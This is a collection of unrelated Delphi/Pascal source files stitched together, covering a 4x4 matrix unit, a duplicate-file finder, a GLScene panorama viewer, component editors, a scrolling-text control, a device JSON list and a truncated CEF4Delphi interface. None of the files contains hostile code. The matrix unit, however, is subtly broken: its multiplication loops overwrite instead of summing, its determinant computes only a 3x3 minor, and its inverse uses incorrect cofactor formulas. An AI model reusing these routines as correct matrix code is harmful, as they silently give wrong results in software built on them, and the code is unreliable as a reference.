{ 0 0 0 1 }
{ }
{ because of simplifications in the calculations }
{***********************************************************************}
interface
TYPE
MReal = Real;
TVECTOR4 = array[0..3] of MReal;
TMATRIX4 = array[0..3, 0..3] of MReal;
procedure M4_MakeUnity(VAR m : TMATRIX4);
procedure M4_AssignMatrix4(VAR m : TMATRIX4; n : TMATRIX4);
procedure M4_Transpose(VAR m : TMATRIX4);
procedure M4_MultiplyByReal(VAR m : TMATRIX4; r : MReal);
procedure M4_PreMultiplyByMatrix4(VAR m : TMATRIX4; n : TMATRIX4);
procedure M4_PostMultiplyByMatrix4(VAR m : TMATRIX4; n : TMATRIX4);
function M4_Determinant(m : TMATRIX4) : MReal;
function M4_Invert(VAR m : TMATRIX4) : Boolean;
{encore a faire
function M4_IsUnity(m : TMATRIX4) : Boolean;
tester que A_1 * A = A * A_1 = unity
procedure M4_RotateXDeg(VAR m : TMATRIX4; angle : MReal);
procedure M4_RotateYDeg(VAR m : TMATRIX4; angle : MReal);
procedure M4_RotateZDeg(VAR m : TMATRIX4; angle : MReal);
procedure M4_RotateXRad(VAR m : TMATRIX4; angle : MReal);
procedure M4_RotateYRad(VAR m : TMATRIX4; angle : MReal);
procedure M4_RotateZRad(VAR m : TMATRIX4; angle : MReal);
procedure M4_TranslateXYZ(VAR m : TMATRIX4; x,y,z : MReal);
procedure M4_TranslateV4(VAR m : TMATRIX4; v : TVECTOR4);
toutes les fonctions utiles sur les vecteurs
V4_Normalize
V4_DotProduct
V4_CrossProduct
etc.
}
implementation
procedure M4_MakeUnity(VAR m : TMATRIX4);
var i,j : Integer;
begin
for i := 0 to 3 do for j := 0 to 3 do m[i,j] := 0;
for i := 0 to 3 do m[i,i] := 1;
end;
procedure M4_AssignMatrix4(VAR m : TMATRIX4; n : TMATRIX4);
var i,j : Integer;
value : MReal;
begin
for i := 0 to 3 do for j := 0 to 3 do m[i,j] := n[i,j];
end;
procedure M4_Transpose(VAR m : TMATRIX4);
var i,j : Integer;
value : MReal;
begin
for i := 0 to 3 do
for j := 0 to 3 do
if i<>j then
begin
value := m[i,j];
m[i,j] := m[j,i];
m[j,i] := value;
end;
end;
procedure M4_MultiplyByReal(VAR m : TMATRIX4; r : MReal);
var i,j : Integer;
begin
for i := 0 to 3 do for j := 0 to 3 do m[i,j] := r * m[i,j];
end;
procedure M4_PreMultiplyByMatrix4(VAR m : TMATRIX4; n : TMATRIX4);
var i,j,k : Integer;
value : MReal;
El : array[0..3, 0..3] of MReal;
begin
for i := 0 to 3 do for j := 0 to 3 do El[i,j] := m[i,j];
for i := 0 to 3 do
for j := 0 to 3 do
begin
value := 0;
for k := 0 to 3 do value := n[i,k] * El[i,j];
m[i,j] := value;
end;
end;
procedure M4_PostMultiplyByMatrix4(VAR m : TMATRIX4; n : TMATRIX4);
var i,j,k : Integer;
value : MReal;
El : array[0..3, 0..3] of MReal;
begin
for i := 0 to 3 do for j := 0 to 3 do El[i,j] := m[i,j];
for i := 0 to 3 do
for j := 0 to 3 do
begin
value := 0;
for k := 0 to 3 do value := El[i,k] * n[i,j];
m[i,j] := value;
end;
end;
function M4_Determinant(m : TMATRIX4) : MReal;
begin
Result := m[1,1] * ( m[2,2] * m[3,3] - m[2,3] * m[3,2] )
- m[1,2] * ( m[2,1] * m[3,3] - m[2,3] * m[3,1] )
+ m[1,3] * ( m[2,1] * m[3,2] - m[2,2] * m[3,1] );
end;
function M4_Invert(VAR m : TMATRIX4) : Boolean;
var i,j : Integer;
det : MReal;
det_1 : MReal;
C : TMATRIX4;
begin
det := M4_Determinant(m);
if det = 0 then
Result := FALSE
else
begin
Result := TRUE;
det_1 := 1 / det;
{calculate cofactors matrix:
C00 := m[0,0]*(m[1,1]*m[2,2]-m[2,1]*m[1,2]);
C01 := m[0,1]*(m[2,0]*m[1,2]-m[1,0]*m[2,2]);
C02 := m[0,2]*(m[1,0]*m[2,1]-m[2,0]*m[1,1]);
C03 := 0;
C10 := m[1,0]*(m[0,1]*m[2,2]-m[2,1]*m[0,2]);
C11 := m[1,1]*(m[0,0]*m[2,2]-m[2,0]*m[0,2]);
C12 := m[1,2]*(m[0,0]*m[2,0]-m[2,0]*m[0,1]);
C13 := 0;
C20 := m[2,0]*(m[0,1]*m[1,2]-m[1,1]*m[0,2]);
C21 := m[2,1]*(m[1,0]*m[0,2]-m[0,0]*m[1,2]);
C22 := m[2,2]*(m[0,0]*m[1,1]-m[1,0]*m[0,1]);
C23 := 0;
C30 := 0;
C31 := 0;
C32 := 0;
C33 := det;
now transpose cofactor matrix and divide it by det:}
C[0,0] := det_1 * m[0,0]*(m[1,1]*m[2,2]-m[2,1]*m[1,2]);
C[1,0] := det_1 * m[0,1]*(m[2,0]*m[1,2]-m[1,0]*m[2,2]);
C[2,0] := det_1 * m[0,2]*(m[1,0]*m[2,1]-m[2,0]*m[1,1]);
C[3,0] := 0;
C[0,1] := det_1 * m[1,0]*(m[0,1]*m[2,2]-m[2,1]*m[0,2]);
C[1,1] := det_1 * m[1,1]*(m[0,0]*m[2,2]-m[2,0]*m[0,2]);
C[2,1] := det_1 * m[1,2]*(m[0,0]*m[2,0]-m[2,0]*m[0,1]);
C[3,1] := 0;
C[0,2] := det_1 * m[2,0]*(m[0,1]*m[1,2]-m[1,1]*m[0,2]);
C[1,2] := det_1 * m[2,1]*(m[1,0]*m[0,2]-m[0,0]*m[1,2]);
C[2,2] := det_1 * m[2,2]*(m[0,0]*m[1,1]-m[1,0]*m[0,1]);
C[3,2] := 0;
C[0,3] := 0;
C[1,3] := 0;
C[2,3] := 0;
C[3,3] := 1;
{ Ok, now we just have to put all the stuff back in m matrix }
M4_AssignMatrix4(m, C);
end;
end;
end.
|
unit FileCompareUnit1;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, JPEG, Vcl.filectrl, math;
type
TForm1 = class(TForm)
Memo1: TMemo;
Button1: TButton; //scan
Button2: TButton; //duplicates
Button3: TButton; //0bytes
Button4: TButton;
Button5: TButton;
CheckBox1: TCheckBox; //jpeg test
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure Button5Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
FileData = record
Name : string;
Size : int64;
CheckSum : int64;
Snagged : boolean;
end;
TT1 = class(TThread) // async thread for JPG test
private
s : string;
progress : integer;
procedure memo1linesadd;
procedure unlockbuttons;
procedure UpdateCaption;
protected
procedure Execute; override;
public
end;
TT2 = class(TThread) // async thread for duplicates
private
s : string;
progress : integer;
procedure memo1linesadd;
procedure unlockbuttons;
procedure UpdateCaption;
protected
procedure Execute; override;
public
end;
var
Form1: TForm1;
Files : array of FileData;
dups : array of string;
bitsum : array[0..255] of byte;
P : array[0..7] of byte = (2, 3, 5, 7, 11, 13, 17, 19);
StrictDups : boolean;
procedure GetFiles(SearchDirectory: string);
function TrimSlash(S : string): string;
function checksum64(f : string):int64;
implementation
{$R *.dfm}
function checksum64(f : string):int64;
var fb : file of byte;
l1, fpos, blocklen : cardinal;
b : array[0..1023] of byte;
begin
result :=0;
if FileExists(f) then begin
assign(fb,f);
Reset(fb);
fpos := 0;
while (FileSize(fb)-fpos) > 0 do begin
blocklen := FileSize(fb)-fpos;
if blocklen > 1024 then blocklen := 1024;
BlockRead(fb,b,blocklen);
for l1 := 1 to blocklen do inc(result, bitsum[b[l1-1]]);
inc(fpos, blocklen);
end;
CloseFile(fb);
end;
end;
function TrimSlash(S : string): string;
begin
result := copy(S,1,lastdelimiter('\',S)-1);
end;
procedure GetFiles(SearchDirectory: string);
var SearchResults : TSearchRec;
SearchStatus : integer;
begin
SearchStatus := FindFirst(SearchDirectory,faAnyFile,SearchResults);
while SearchStatus = 0 do begin
if (SearchResults.Name <> '.') and (SearchResults.Name <> '..') then begin
if ((SearchResults.Attr and faDirectory) = faDirectory) then GetFiles(TrimSlash(SearchDirectory)+'\'+SearchResults.Name+'\*') else begin
SetLength(Files, length(Files)+1);
Files[high(Files)].Name := TrimSlash(SearchDirectory)+'\'+SearchResults.Name;
Files[high(Files)].Size := SearchResults.Size;
end;
end;
SearchStatus := FindNext(SearchResults);
end;
FindClose(SearchResults);
end;
procedure TForm1.Button1Click(Sender: TObject);
var r,s : string;
begin
r := 'C:\';
s := 'C:\';
if SelectDirectory('Select Directory to scan for duplicates',r,s) then begin
Setlength(Files,0);
GetFiles(s);
memo1.Lines.Add(inttostr(Length(Files))+' Files Found.');
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
Button1.Enabled := false;
Button2.Enabled := false;
Button3.Enabled := false;
Button4.Enabled := false;
StrictDups := CheckBox1.Checked;
TT2.Create; //call async thread for duplicates and return
end;
procedure TForm1.Button3Click(Sender: TObject);
var l1,Zeros : integer;
begin
Zeros := 0;
if Length(Files) > 0 then for l1 := 0 to length(Files)-1 do if Files[l1].Size = 0 then begin
inc(Zeros);
memo1.Lines.Add('['+inttostr(Files[l1].size)+']'+Files[l1].Name);
end;
Memo1.lines.Add(inttostr(Zeros)+' Zero Byte Files.');
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
Button1.Enabled := false;
Button2.Enabled := false;
Button3.Enabled := false;
Button4.Enabled := false;
TT1.Create; //call async thread and return
end;
procedure TForm1.Button5Click(Sender: TObject);
var l1 : integer;
begin
if MessageBox(handle,'Delete Duplicates ?','Confirmation required', MB_OKCANCEL + MB_ICONWARNING+MB_DEFBUTTON2) = IDok then begin
memo1.Lines.add('Deleting...');
if length(dups) > 0 then for l1 := 0 to length(dups)-1 do begin
if deletefile(dups[l1]) then
memo1.Lines.Add('Deleting: '+dups[l1]) else
memo1.Lines.Add('Failed to Delete: '+dups[l1]);
end;
setlength(dups,0);
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
var l1,l2 : byte;
begin
for l1 := 0 to 255 do begin
bitsum[l1] := 0;
for l2 := 0 to 7 do if (l1 and round(power(2,l2))) > 0 then inc(bitsum[l1],p[l2]);
end;
end;
// TT1 JPEG tester thread
procedure TT1.memo1linesadd;
begin
form1.memo1.lines.add(s);
end;
procedure TT1.UnLockButtons;
begin
form1.Button1.Enabled := true;
form1.Button2.Enabled := true;
form1.Button3.Enabled := true;
form1.Button4.Enabled := true;
form1.Caption := 'File Comparator';
end;
procedure TT1.UpdateCaption;
begin
form1.Caption := 'File Comparator - Scanning ... '+inttostr(progress)+'%';
end;
procedure TT1.Execute;
var jpg : TJPEGImage;
l1, unreadables, found : integer;
begin
unreadables := 0;
found := 0;
jpg := tjpegimage.create;
for l1 := 0 to length(Files)-1 do if uppercase(ExtractFileExt(Files[l1].Name)) = '.JPG' then begin
inc(found);
if files[l1].Size <> 0 then
try
JPG.LoadFromFile(Files[l1].Name);
except
s := Files[l1].Name + ' [Unreadable]';
Synchronize(memo1linesadd);
inc(unreadables);
end;
progress := 100 * l1 div (length(Files)-1);
Synchronize(UpdateCaption);
end;
s := inttostr(unreadables) + ' Unreadable JPEGs out of '+inttostr(found)+' found.';
Synchronize(memo1linesadd);
jpg.free;
Synchronize(unlockbuttons);
end;
// duplicates
procedure TT2.memo1linesadd;
begin
form1.memo1.lines.add(s);
end;
procedure TT2.UnLockButtons;
begin
form1.Button1.Enabled := true;
form1.Button2.Enabled := true;
form1.Button3.Enabled := true;
form1.Button4.Enabled := true;
form1.Caption := 'File Comparator';
end;
procedure TT2.UpdateCaption;
begin
form1.Caption := 'File Comparator - Scanning ... '+inttostr(progress)+'%';
end;
procedure TT2.Execute;
var l1,l2, duplicates : integer;
begin
Duplicates := 0;
setlength(dups,0);
if Length(Files) > 0 then
for l1 := 0 to Length(Files)-1 do for l2 := 0 to Length(Files)-1 do begin
if (l1 <> l2) and (Files[l1].Size = Files[l2].Size) and (Files[l1].Size > 0) and (files[l2].snagged = false) then begin
if Files[l1].CheckSum = 0 then Files[l1].CheckSum := checksum64(files[l1].name);
if Files[l2].CheckSum = 0 then Files[l2].CheckSum := checksum64(files[l2].name);
if Files[l1].CheckSum = Files[l2].CheckSum then
if (not StrictDups) or (StrictDups and (uppercase(ExtractFileName(Files[l1].name)) = uppercase(ExtractFileName(Files[l2].name))))then begin
inc(duplicates);
Files[l1].Snagged := true;
Files[l2].Snagged := true;
s := 'Size['+inttostr(Files[l1].size)+'] E64['+inttohex(files[l2].CheckSum,8)+'] '+Files[l1].Name+' ### '+Files[l2].Name;
Synchronize(memo1linesadd);
SetLength(dups, length(dups)+1);
dups[high(dups)] := Files[l2].Name;
end;
end;
progress := 100 * l1 div (Length(Files)-1);
Synchronize(UpdateCaption);
end;
if StrictDups then s := inttostr(Duplicates)+' (Strict) Duplicates.' else
s := inttostr(Duplicates)+' Duplicates.';
Synchronize(memo1linesadd);
Synchronize(unlockbuttons);
end;
end.
|
{
Simple spherical panorama viewer using GLScene
The sample input images are by Philippe Hurbain. http://www.philohome.com
Other resources on how to make your own spherical or cylindrical panorama:
http://www.fh-furtwangen.de/~dersch/
http://www.panoguide.com/
http://home.no.net/dmaurer/~dersch/Index.htm
Why IPIX patents regarding use of fisheye photos are questionable:
http://www.worldserver.com/turk/quicktimevr/fisheye.html
10/12/02 - EG - Updated for GLScene v0.9+
}
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, jpeg,
ComCtrls, StdCtrls, GLScene, GLObjects, ExtCtrls, ExtDlgs,
GLTexture, GLKeyBoard, GLCadencer, GLWin32Viewer, GLMaterial, GLCoordinates,
GLCrossPlatform, BaseClasses;
type
TForm1 = class(TForm)
GLSceneViewer1: TGLSceneViewer;
GLScene1: TGLScene;
Panel1: TPanel;
GLCamera1: TGLCamera;
BtnLoad: TButton;
TrackBar1: TTrackBar;
LabelYaw: TLabel;
LabelPitch: TLabel;
OpenPictureDialog1: TOpenPictureDialog;
Label1: TLabel;
Sphere1: TGLSphere;
GLMaterialLibrary1: TGLMaterialLibrary;
Label2: TLabel;
GLCadencer1: TGLCadencer;
procedure GLSceneViewer1MouseDown(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
procedure GLSceneViewer1MouseMove(Sender: TObject; Shift: TShiftState;
X, Y: Integer);
procedure BtnLoadClick(Sender: TObject);
procedure TrackBar1Change(Sender: TObject);
procedure FormMouseWheel(Sender: TObject; Shift: TShiftState;
WheelDelta: Integer; MousePos: TPoint; var Handled: Boolean);
procedure FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure GLCadencer1Progress(Sender: TObject; const deltaTime,
newTime: Double);
private
{ Private declarations }
mx, my : integer;
pitch, yaw : single; // in degree
procedure PanCameraAround(dx, dy : single);
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
uses VectorGeometry;
{$R *.DFM}
procedure TForm1.GLSceneViewer1MouseDown(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
mx:=x;
my:=y;
end;
procedure TForm1.GLSceneViewer1MouseMove(Sender: TObject;
Shift: TShiftState; X, Y: Integer);
var
dx, dy, f : Single;
begin
if Shift=[ssLeft] then
begin
f:=0.2*40/GLCamera1.FocalLength;
dx:=(x-mx)*f;
dy:=(y-my)*f;
PanCameraAround(dx, dy);
end;
mx:=x;
my:=y;
end;
procedure TForm1.BtnLoadClick(Sender: TObject);
begin
with OpenPictureDialog1 do
if Execute then
GLMaterialLibrary1.Materials[0].Material.Texture.Image.LoadFromFile(FileName);
end;
procedure TForm1.TrackBar1Change(Sender: TObject);
begin
GLCamera1.FocalLength:=TrackBar1.Position;
end;
procedure TForm1.FormMouseWheel(Sender: TObject; Shift: TShiftState;
WheelDelta: Integer; MousePos: TPoint; var Handled: Boolean);
begin
TrackBar1.Position:=TrackBar1.Position+Round(2*WheelDelta/120);
end;
procedure TForm1.GLCadencer1Progress(Sender: TObject; const deltaTime,
newTime: Double);
const step_size = 20;
var
delta : Single;
dx, dy : Single;
begin
delta:=step_size * 40/GLCamera1.FocalLength * deltaTime;
dx:=0;
dy:=0;
if IsKeyDown(VK_LEFT) then dx:=dx+delta;
if IsKeyDown(VK_UP) then dy:=dy+delta;
if IsKeyDown(VK_RIGHT) then dx:=dx-delta;
if IsKeyDown(VK_DOWN) then dy:=dy-delta;
PanCameraAround(dx, dy);
end;
procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
key:=0; // all keys handled by Form1
end;
procedure TForm1.PanCameraAround(dx, dy : single);
begin
pitch:=pitch+dy;
yaw:=yaw-dx;
if pitch>90 then pitch:=90;
if pitch<-90 then pitch:=-90;
if yaw>360 then yaw:=yaw-360;
if yaw<0 then yaw:=yaw+360;
GLCamera1.Up.SetVector(0, 1, 0);
GLCamera1.Direction.SetVector( sin(DegToRad(yaw)),
sin(DegToRad(pitch)),
-cos(DegToRad(yaw)));
labelPitch.caption:=format('Pitch: %3f', [pitch]);
labelYaw.caption:=format('Yaw: %3f', [yaw]);
end;
end.
|
unit FDACDataSetProvider.Editor;
interface
uses
System.Classes, System.SysUtils
, DesignEditors
, FDACDataSetProvider;
type
TFDACDataSetProviderEditor = class(TComponentEditor)
private
function CurrentObj: TFDDataSetProvider;
protected
public
procedure ExecuteVerb(Index: Integer); override;
function GetVerb(Index: Integer): string; override;
function GetVerbCount: Integer; override;
end;
procedure Register;
implementation
uses
VCL.Dialogs
, DesignIntf;
procedure Register;
begin
RegisterComponentEditor(TFDDataSetProvider, TFDACDataSetProviderEditor);
end;
{ TDataSetRESTRequestAdapterEditor }
function TFDACDataSetProviderEditor.CurrentObj: TFDDataSetProvider;
begin
Result := Component as TFDDataSetProvider;
end;
procedure TFDACDataSetProviderEditor.ExecuteVerb(Index: Integer);
var
LDataSetIndex: Integer;
begin
inherited;
if Index = 0 then
begin
CurrentObj.RetrieveData;
ShowMessage( Format('Retrieved %d datasets: %s', [CurrentObj.DataSetsCount, CurrentObj.DataSetsNames.CommaText]) );
end
else
begin
LDataSetIndex := Index-1;
if (LDataSetIndex >= 0) and (LDataSetIndex < CurrentObj.DataSetsCount) then
CurrentObj.UpdateTargetDataSet(LDataSetIndex)
else
raise Exception.CreateFmt('Invalid DataSetIndex: %d', [LDataSetIndex]);
end;
Designer.Modified;
end;
function TFDACDataSetProviderEditor.GetVerb(Index: Integer): string;
var
LDataSetIndex: Integer;
LTargetDataSetName: string;
begin
if Index = 0 then
Result := 'Retrieve data from server'
else
begin
LDataSetIndex := Index-1;
LTargetDataSetName := '<TargetDataSet not assigned>';
if Assigned(CurrentObj.TargetDataSet) then
LTargetDataSetName := AnsiQuotedStr(CurrentObj.TargetDataSet.Name, '"');
Result := Format('Update %s with dataset "%s"', [LTargetDataSetName, CurrentObj.DataSetsInfo[LDataSetIndex]]);
end;
end;
function TFDACDataSetProviderEditor.GetVerbCount: Integer;
begin
Result := CurrentObj.DataSetsCount + 1;
end;
end.
|
unit ibSHComponent;
interface
uses
Windows, SysUtils, Classes, Contnrs,
SHDesignIntf, SHDevelopIntf,
ibSHDesignIntf;
type
TibBTComponent = class(TSHComponent, IibSHComponent, IibSHDummy)
protected
function GetBranchIID: TGUID; override;
function GetCaptionPath: string; override;
procedure DoOnApplyOptions; virtual;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
end;
TibBTComponentFactory = class(TSHComponentFactory)
public
function SupportComponent(const AClassIID: TGUID): Boolean; override;
function CreateComponent(const AOwnerIID, AClassIID: TGUID; const ACaption: string): TSHComponent; override;
function DestroyComponent(AComponent: TSHComponent): Boolean; override;
end;
implementation
uses
ibSHConsts, ibSHValues;
{ TibBTComponent }
constructor TibBTComponent.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
end;
destructor TibBTComponent.Destroy;
begin
inherited Destroy;
end;
function TibBTComponent.GetBranchIID: TGUID;
begin
Result := inherited GetBranchIID;
if Supports(Self, IibSHBranch) then Result := IibSHBranch
else
if Supports(Self, IfbSHBranch) then Result := IfbSHBranch;
end;
function TibBTComponent.GetCaptionPath: string;
var
BranchName, ServerAlias, DatabaseAlias: string;
DBObject: IibSHDBObject;
begin
if IsEqualGUID(BranchIID, IibSHBranch) then BranchName := SSHInterBaseBranch
else
if IsEqualGUID(BranchIID, IfbSHBranch) then BranchName := SSHFirebirdBranch;
ServerAlias := 'ServerAlias';
DatabaseAlias := 'DatabaseAlias';
if Supports(Self, IibSHDBObject, DBObject) then
begin
if Assigned(DBObject.BTCLDatabase) then
DatabaseAlias := DBObject.BTCLDatabase.Alias;
if Assigned(DBObject.BTCLDatabase.BTCLServer) then
ServerAlias := DBObject.BTCLDatabase.BTCLServer.Alias;
end;
Result := Format('%s\%s\%s\%s\%s', [BranchName, ServerAlias, DatabaseAlias, GUIDToName(Self.ClassIID, 1), Self.Caption]);
end;
procedure TibBTComponent.DoOnApplyOptions;
begin
// Empty
end;
{ TibBTComponentFactory }
function TibBTComponentFactory.SupportComponent(const AClassIID: TGUID): Boolean;
begin
Result := False;
end;
function TibBTComponentFactory.CreateComponent(const AOwnerIID, AClassIID: TGUID;
const ACaption: string): TSHComponent;
begin
Result := Designer.FindComponent(AOwnerIID, AClassIID, ACaption);
if not Assigned(Result) then
Result := Designer.GetComponent(AClassIID).Create(nil);
end;
function TibBTComponentFactory.DestroyComponent(AComponent: TSHComponent): Boolean;
begin
Result := Assigned(AComponent) and Designer.ChangeNotification(AComponent, opRemove);
if Result then FreeAndNil(AComponent);
end;
end.
|
unit qtx.visual.scroll.text;
interface
//#############################################################################
//
// Author: Jon Lennart Aasenden
// Company: Jon Lennart Aasenden LTD
// Copyright: Copyright Jon Lennart Aasenden, all rights reserved
//
// About: This unit introduces wrapper classes for iScroll, and
// provides a baseclass for scrolling content
// (TScrollingWinControl under Delphi).
//
// Note: Save "iScroll.js" (built for version 5.1.2) to SMS/Libs
// See iScroll documentation for more information.
//
// IScroll homepage: http://cubiq.org/iscroll-5
//
// _______ _______ _______ _________ _______
// ( ___ )|\ /|( ___ )( ____ )\__ __/( ____ \|\ /|
// | ( ) || ) ( || ( ) || ( )| ) ( | ( \/( \ / )
// | | | || | | || (___) || (____)| | | | (__ \ (_) /
// | | | || | | || ___ || __) | | | __) ) _ (
// | | /\| || | | || ( ) || (\ ( | | | ( / ( ) \
// | (_\ \ || (___) || ) ( || ) \ \__ | | | (____/\( / \ )
// (____\/_)(_______)|/ \||/ \__/ )_( (_______/|/ \|
//
//
//#############################################################################
uses
System.Types,
SmartCL.System,
SmartCL.Components,
SmartCL.Graphics,
qtx.runtime,
qtx.font,
qtx.effects;
Type
TQTXScrollText = Class(TW3CustomControl)
private
FActive: Boolean;
FText: String;
FSpeed: Integer;
FContent: TW3CustomControl;
function getSpeed:Integer;
Procedure setSpeed(const aValue:Integer);
procedure setText(aValue:String);
Procedure setActive(const aValue:Boolean);
Procedure UpdateScroll;
protected
Procedure Resize;override;
protected
procedure InitializeObject;Override;
Procedure FinalizeObject;Override;
published
Property Active:Boolean read FActive write setActive;
Property Text:String read FText write setText;
Property Speed:Integer read getSpeed write setSpeed;
End;
implementation
procedure TQTXScrollText.InitializeObject;
begin
inherited;
FContent:=TW3CustomControl.Create(self);
FContent.handle.style.background:='transparent';
Handle.readyExecute( procedure ()
Begin
Font.Name:='verdana';
Font.Size:=16;
end);
end;
Procedure TQTXScrollText.FinalizeObject;
Begin
FContent.free;
inherited;
end;
function TQTXScrollText.getSpeed:Integer;
Begin
result:=FSpeed;
end;
Procedure TQTXScrollText.setSpeed(const aValue:Integer);
Begin
FSpeed:=TInteger.ensureRange(aValue,1,10);
end;
procedure TQTXScrollText.setText(aValue:String);
Begin
aValue:=trim(aValue);
if aValue<>FText then
Begin
FText:=aValue;
FContent.InnerHtml:=FText;
if FActive then
begin
FContent.left:=clientWidth;
FContent.top:=(Height div 2) - (FContent.height div 2);
end;
end;
end;
Procedure TQTXScrollText.UpdateScroll;
begin
FContent.fxMoveTo(-FContent.width,
(Height div 2) - (FContent.height div 2),
StrToFloat(IntToStr(22-FSpeed) +'.0'),
procedure ()
Begin
if FActive then
TQTXRuntime.DelayedDispatch( procedure ()
Begin
FContent.left:=clientWidth;
FContent.top:=(Height div 2) - (FContent.height div 2);
UpdateScroll;
end,
120);
end);
end;
Procedure TQTXScrollText.setActive(const aValue:Boolean);
var
mMetrics: TQTXTextMetric;
Begin
if aValue<>FActive then
Begin
FActive:=aValue;
if FActive then
Begin
FContent.handle.style['color']:='#FFFFFF';
FContent.handle.style['font']:='22px Verdana';
FContent.handle.style.background:='transparent';
mMetrics:=self.MeasureText(FText);
//mMetrics:=TQTXTools.calcTextMetrics(FText,'Verdana',22);
FContent.Width:=mMetrics.tmWidth;
FContent.Height:=mMetrics.tmHeight;
FContent.Left:=clientwidth;
FContent.top:=(Height div 2) - (FContent.height div 2);
UpdateScroll;
end;
end;
end;
Procedure TQTXScrollText.Resize;
Begin
inherited;
if assigned(FContent)
and FContent.handle.Ready
and Handle.Ready then
//and TQTXTools.getElementInDOM(FContent.handle)
//and TQTXTools.getElementInDOM(Handle) then
begin
if not FActive then
Begin
if assigned(FContent) then
FContent.left:=clientWidth+1;
exit;
end;
if assigned(FContent) then
FContent.top:=(Height div 2) - (FContent.height div 2);
end;
end;
end.
|
unit DAW.Model.Devices;
interface
uses
System.Generics.Collections,
DAW.Model.Device.New;
type
TdawDevices = class(TList<TdawDevice>)
private
function Compare(const ALeft, ARight: string): Boolean;
public
function IsDuplicat(const ADevice: TdawDevice): Integer;
function ToJSON: string;
procedure FromJSON(const AData: string);
end;
implementation
uses
System.SysUtils,
System.IOUtils,
System.JSON.Types,
System.JSON.Serializers;
{ TdawDevices }
function TdawDevices.Compare(const ALeft, ARight: string): Boolean;
begin
Result := not (ALeft.IsEmpty and ARight.IsEmpty);
if Result then
Result := ALeft = ARight;
end;
procedure TdawDevices.FromJSON(const AData: string);
var
JS: TJsonSerializer;
LDevices: TArray<TdawDevice>;
begin
JS := TJsonSerializer.Create;
try
LDevices := JS.Deserialize<TArray<TdawDevice>>(AData);
AddRange(LDevices);
finally
JS.Free;
end;
end;
function TdawDevices.IsDuplicat(const ADevice: TdawDevice): Integer;
var
I: Integer;
LD: TdawDevice;
begin
Result := -1;
for I := 0 to Count - 1 do
begin
LD := Items[I];
if Compare(Items[I].ID, ADevice.ID) or Compare(Items[I].IP, ADevice.IP) then
begin
Result := I;
Break;
end;
end;
end;
function TdawDevices.ToJSON: string;
var
JS: TJsonSerializer;
LDevices: TArray<TdawDevice>;
begin
JS := TJsonSerializer.Create;
try
JS.Formatting := TJsonFormatting.Indented;
LDevices := Self.ToArray;
Result := JS.Serialize(LDevices);
finally
JS.Free;
end;
end;
end.
|
// ************************************************************************
// ***************************** CEF4Delphi *******************************
// ************************************************************************
//
// CEF4Delphi is based on DCEF3 which uses CEF3 to embed a chromium-based
// browser in Delphi applications.
//
// The original license of DCEF3 still applies to CEF4Delphi.
//
// For more information about CEF4Delphi visit :
// https://www.briskbard.com/index.php?lang=en&pageid=cef
//
// Copyright © 2017 Salvador Díaz Fau. All rights reserved.
//
// ************************************************************************
// ************ vvvv Original license and comments below vvvv *************
// ************************************************************************
(*
* Delphi Chromium Embedded 3
*
* Usage allowed under the restrictions of the Lesser GNU General Public License
* or alternatively the restrictions of the Mozilla Public License 1.1
*
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for
* the specific language governing rights and limitations under the License.
*
* Unit owner : Henri Gourvest <hgourvest@gmail.com>
* Web site : http://www.progdigy.com
* Repository : http://code.google.com/p/delphichromiumembedded/
* Group : http://groups.google.com/group/delphichromiumembedded
*
* Embarcadero Technologies, Inc is not permitted to use or redistribute
* this source code without explicit permission.
*
*)
unit uCEFExtensionHandler;
{$IFNDEF CPUX64}
{$ALIGN ON}
{$MINENUMSIZE 4}
{$ENDIF}
{$I cef.inc}
interface
uses
uCEFBaseRefCounted, uCEFInterfaces, uCEFTypes;
type
TCefExtensionHandlerRef = class(TCefBaseRefCountedRef, ICefExtensionHandler)
protected
procedure OnExtensionLoadFailed(result: TCefErrorcode);
procedure OnExtensionLoaded(const extension: ICefExtension);
procedure OnExtensionUnloaded(const extension: ICefExtension);
function OnBeforeBackgroundBrowser(const extension: ICefExtension; const url: ustring; var client: ICefClient; var settings: TCefBrowserSettings) : boolean;
function OnBeforeBrowser(const extension: ICefExtension; const browser, active_browser: ICefBrowser; index: Integer; const url: ustring; active: boolean; var windowInfo: TCefWindowInfo; var client: ICefClient; var settings: TCefBrowserSettings) : boolean;
function GetActiveBrowser(const extension: ICefExtension; const browser: ICefBrowser; include_incognito: boolean): ICefBrowser;
function CanAccessBrowser(const extension: ICefExtension; const browser: ICefBrowser; include_incognito: boolean; const target_browser: ICefBrowser): boolean;
function GetExtensionResource(const extension: ICefExtension; const browser: ICefBrowser; const file_: ustring; const callback: ICefGetExtensionResourceCallback): boolean;
public
class function UnWrap(data: Pointer): ICefExtensionHandler;
end;
TCefExtensionHandlerOwn = class(TCefBaseRefCountedOwn, ICefExtensionHandler)
protected
procedure OnExtensionLoadFailed(result: TCefErrorcode); virtual;
procedure OnExtensionLoaded(const extension: ICefExtension); virtual;
procedure OnExtensionUnloaded(const extension: ICefExtension); virtual;
function OnBeforeBackgroundBrowser(const extension: ICefExtension; const url: ustring; var client: ICefClient; var settings: TCefBrowserSettings) : boolean; virtual;
function OnBeforeBrowser(const extension: ICefExtension; const browser, active_browser: ICefBrowser; index: Integer; const url: ustring; active: boolean; var windowInfo: TCefWindowInfo; var client: ICefClient; var settings: TCefBrowserSettings) : boolean;
